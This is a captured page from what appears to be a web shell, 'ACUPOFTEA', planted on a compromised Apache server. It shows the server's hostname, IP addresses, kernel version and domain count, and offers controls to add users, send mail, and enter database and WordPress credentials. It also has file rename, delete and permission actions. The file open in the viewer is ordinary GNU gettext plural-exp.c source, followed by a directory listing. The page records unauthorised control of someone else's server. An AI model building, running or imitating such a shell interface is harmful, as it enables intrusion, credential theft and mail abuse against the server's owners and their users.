System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
gettext
/
intl
/
216.73.216.49
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
plural-exp.c
/* Expression parsing for plural form selection. Copyright (C) 2000-2016 Free Software Foundation, Inc. Written by Ulrich Drepper <drepper@cygnus.com>, 2000. This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifdef HAVE_CONFIG_H # include <config.h> #endif #include <ctype.h> #include <stdlib.h> #include <string.h> #include "plural-exp.h" #if HAVE_STRUCT_INITIALIZER /* These structs are the constant expression for the germanic plural form determination. It represents the expression "n != 1". */ static const struct expression plvar = { .nargs = 0, .operation = var, }; static const struct expression plone = { .nargs = 0, .operation = num, .val = { .num = 1 } }; const struct expression GERMANIC_PLURAL = { .nargs = 2, .operation = not_equal, .val = { .args = { [0] = (struct expression *) &plvar, [1] = (struct expression *) &plone } } }; # define INIT_GERMANIC_PLURAL() #else /* For compilers without support for ISO C 99 struct/union initializers: Initialization at run-time. */ static struct expression plvar; static struct expression plone; struct expression GERMANIC_PLURAL; static void init_germanic_plural (void) { if (plone.val.num == 0) { plvar.nargs = 0; plvar.operation = var; plone.nargs = 0; plone.operation = num; plone.val.num = 1; GERMANIC_PLURAL.nargs = 2; GERMANIC_PLURAL.operation = not_equal; GERMANIC_PLURAL.val.args[0] = &plvar; GERMANIC_PLURAL.val.args[1] = &plone; } } # define INIT_GERMANIC_PLURAL() init_germanic_plural () #endif void internal_function EXTRACT_PLURAL_EXPRESSION (const char *nullentry, const struct expression **pluralp, unsigned long int *npluralsp) { if (nullentry != NULL) { const char *plural; const char *nplurals; plural = strstr (nullentry, "plural="); nplurals = strstr (nullentry, "nplurals="); if (plural == NULL || nplurals == NULL) goto no_plural; else { char *endp; unsigned long int n; struct parse_args args; /* First get the number. */ nplurals += 9; while (*nplurals != '\0' && isspace ((unsigned char) *nplurals)) ++nplurals; if (!(*nplurals >= '0' && *nplurals <= '9')) goto no_plural; #if defined HAVE_STRTOUL || defined _LIBC n = strtoul (nplurals, &endp, 10); #else for (endp = nplurals, n = 0; *endp >= '0' && *endp <= '9'; endp++) n = n * 10 + (*endp - '0'); #endif if (nplurals == endp) goto no_plural; *npluralsp = n; /* Due to the restrictions bison imposes onto the interface of the scanner function we have to put the input string and the result passed up from the parser into the same structure which address is passed down to the parser. */ plural += 7; args.cp = plural; if (PLURAL_PARSE (&args) != 0) goto no_plural; *pluralp = args.res; } } else { /* By default we are using the Germanic form: singular form only for `one', the plural form otherwise. Yes, this is also what English is using since English is a Germanic language. */ no_plural: INIT_GERMANIC_PLURAL (); *pluralp = &GERMANIC_PLURAL; *npluralsp = 2; } }
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2024-03-13 05:00:23
..
DIR
-
drwxr-xr-x
2024-03-13 05:00:23
COPYING.LIB
text/plain
25.92 KB
-rw-r--r--
2014-12-13 03:48:16
Makefile.in
text/x-makefile
24.53 KB
-rw-r--r--
2016-06-11 07:37:41
VERSION
text/plain
42 B
-rw-r--r--
2019-11-18 05:16:47
bindtextdom.c
text/x-c
9.33 KB
-rw-r--r--
2016-03-20 07:37:53
config.charset
text/x-shellscript
22.5 KB
-rwxr-xr-x
2015-01-24 07:21:24
dcgettext.c
text/x-c
1.71 KB
-rw-r--r--
2016-03-20 07:37:53
dcigettext.c
text/x-c
46.49 KB
-rw-r--r--
2016-05-28 12:28:55
dcngettext.c
text/x-c
1.74 KB
-rw-r--r--
2016-03-20 07:37:53
dgettext.c
text/x-c
1.67 KB
-rw-r--r--
2016-03-20 07:37:53
dngettext.c
text/x-c
1.78 KB
-rw-r--r--
2016-03-20 07:37:53
eval-plural.h
text/plain
2.67 KB
-rw-r--r--
2016-03-20 07:37:53
explodename.c
text/x-c
3.26 KB
-rw-r--r--
2016-03-20 07:37:53
export.h
text/plain
157 B
-rw-r--r--
2014-12-11 01:11:46
finddomain.c
text/x-c
5.86 KB
-rw-r--r--
2016-03-20 07:37:53
gettext.c
text/x-c
1.78 KB
-rw-r--r--
2016-03-20 07:37:53
gettextP.h
text/x-c
9.95 KB
-rw-r--r--
2016-05-28 12:28:55
gmo.h
text/x-c
4.74 KB
-rw-r--r--
2016-03-20 07:37:53
hash-string.c
text/x-c
1.51 KB
-rw-r--r--
2016-03-20 07:37:53
hash-string.h
text/x-c
1.28 KB
-rw-r--r--
2016-03-20 07:37:53
intl-compat.c
text/x-c
3.37 KB
-rw-r--r--
2016-03-20 07:37:53
intl-exports.c
text/plain
1.73 KB
-rw-r--r--
2016-03-20 07:37:53
l10nflist.c
text/x-c
10.64 KB
-rw-r--r--
2016-03-20 07:37:53
langprefs.c
text/x-c
12.42 KB
-rw-r--r--
2016-03-20 07:37:53
libgnuintl.in.h
text/x-c
16.4 KB
-rw-r--r--
2016-06-09 10:56:00
libintl.rc
text/x-c
1.58 KB
-rw-r--r--
2014-12-11 01:02:40
loadinfo.h
text/x-c
4.99 KB
-rw-r--r--
2016-03-20 07:37:53
loadmsgcat.c
text/x-c
33.73 KB
-rw-r--r--
2016-03-20 07:37:53
localcharset.c
text/x-c
20.04 KB
-rw-r--r--
2015-01-24 07:21:24
localcharset.h
text/x-c
1.31 KB
-rw-r--r--
2015-06-05 09:52:52
locale.alias
text/plain
3.01 KB
-rw-r--r--
2015-06-23 12:09:37
localealias.c
text/x-c
10.39 KB
-rw-r--r--
2016-03-20 07:37:53
localename.c
text/x-c
84.12 KB
-rw-r--r--
2016-03-20 07:37:53
lock.c
text/x-c
26.16 KB
-rw-r--r--
2016-03-20 07:37:53
lock.h
text/x-c
35.46 KB
-rw-r--r--
2016-03-20 07:37:53
log.c
text/x-c
3.76 KB
-rw-r--r--
2016-03-20 07:37:53
ngettext.c
text/x-c
1.86 KB
-rw-r--r--
2016-03-20 07:37:53
os2compat.c
text/x-c
2.77 KB
-rw-r--r--
2016-03-20 07:37:53
os2compat.h
text/x-c
1.47 KB
-rw-r--r--
2016-03-20 07:37:53
osdep.c
text/plain
988 B
-rw-r--r--
2016-03-20 07:37:53
plural-exp.c
text/x-c
3.79 KB
-rw-r--r--
2016-05-28 12:29:03
plural-exp.h
text/x-c
4.54 KB
-rw-r--r--
2016-05-28 12:29:03
plural.c
text/x-c
52.03 KB
-rw-r--r--
2016-06-11 01:02:54
plural.y
text/x-c
7.34 KB
-rw-r--r--
2016-03-20 07:37:53
printf-args.c
text/plain
6.43 KB
-rw-r--r--
2016-03-20 07:37:53
printf-args.h
text/x-c
3.88 KB
-rw-r--r--
2016-03-20 07:37:53
printf-parse.c
text/x-c
21.67 KB
-rw-r--r--
2016-03-20 07:37:53
printf-parse.h
text/x-c
2.53 KB
-rw-r--r--
2016-03-20 07:37:53
printf.c
text/x-c
10.09 KB
-rw-r--r--
2016-03-20 07:37:53
ref-add.sin
text/plain
1.02 KB
-rw-r--r--
2016-03-20 07:37:53
ref-del.sin
text/plain
996 B
-rw-r--r--
2016-03-20 07:37:53
relocatable.c
text/x-c
17.09 KB
-rw-r--r--
2016-03-20 07:37:53
relocatable.h
text/x-c
3.07 KB
-rw-r--r--
2016-03-20 07:37:53
setlocale.c
text/x-c
32.34 KB
-rw-r--r--
2016-03-20 07:37:53
textdomain.c
text/x-c
3.72 KB
-rw-r--r--
2016-03-20 07:37:53
threadlib.c
text/x-c
1.89 KB
-rw-r--r--
2016-03-20 07:37:53
tsearch.c
text/x-c
20.98 KB
-rw-r--r--
2016-03-20 07:37:53
tsearch.h
text/x-c
2.75 KB
-rw-r--r--
2016-03-20 07:37:53
vasnprintf.c
text/x-c
218.1 KB
-rw-r--r--
2016-03-20 07:37:53
vasnprintf.h
text/x-c
2.74 KB
-rw-r--r--
2016-03-20 07:37:53
vasnwprintf.h
text/x-c
1.64 KB
-rw-r--r--
2016-03-20 07:37:53
verify.h
text/x-c++
10.76 KB
-rw-r--r--
2016-03-20 07:37:53
version.c
text/x-c
935 B
-rw-r--r--
2016-03-20 07:37:53
wprintf-parse.h
text/x-c
2.58 KB
-rw-r--r--
2016-03-20 07:37:53
xsize.c
text/x-c
78 B
-rw-r--r--
2014-12-11 01:11:46
xsize.h
text/x-c
3.57 KB
-rw-r--r--
2016-03-20 07:37:53
~ ACUPOFTEA - mail.ontime-ae.com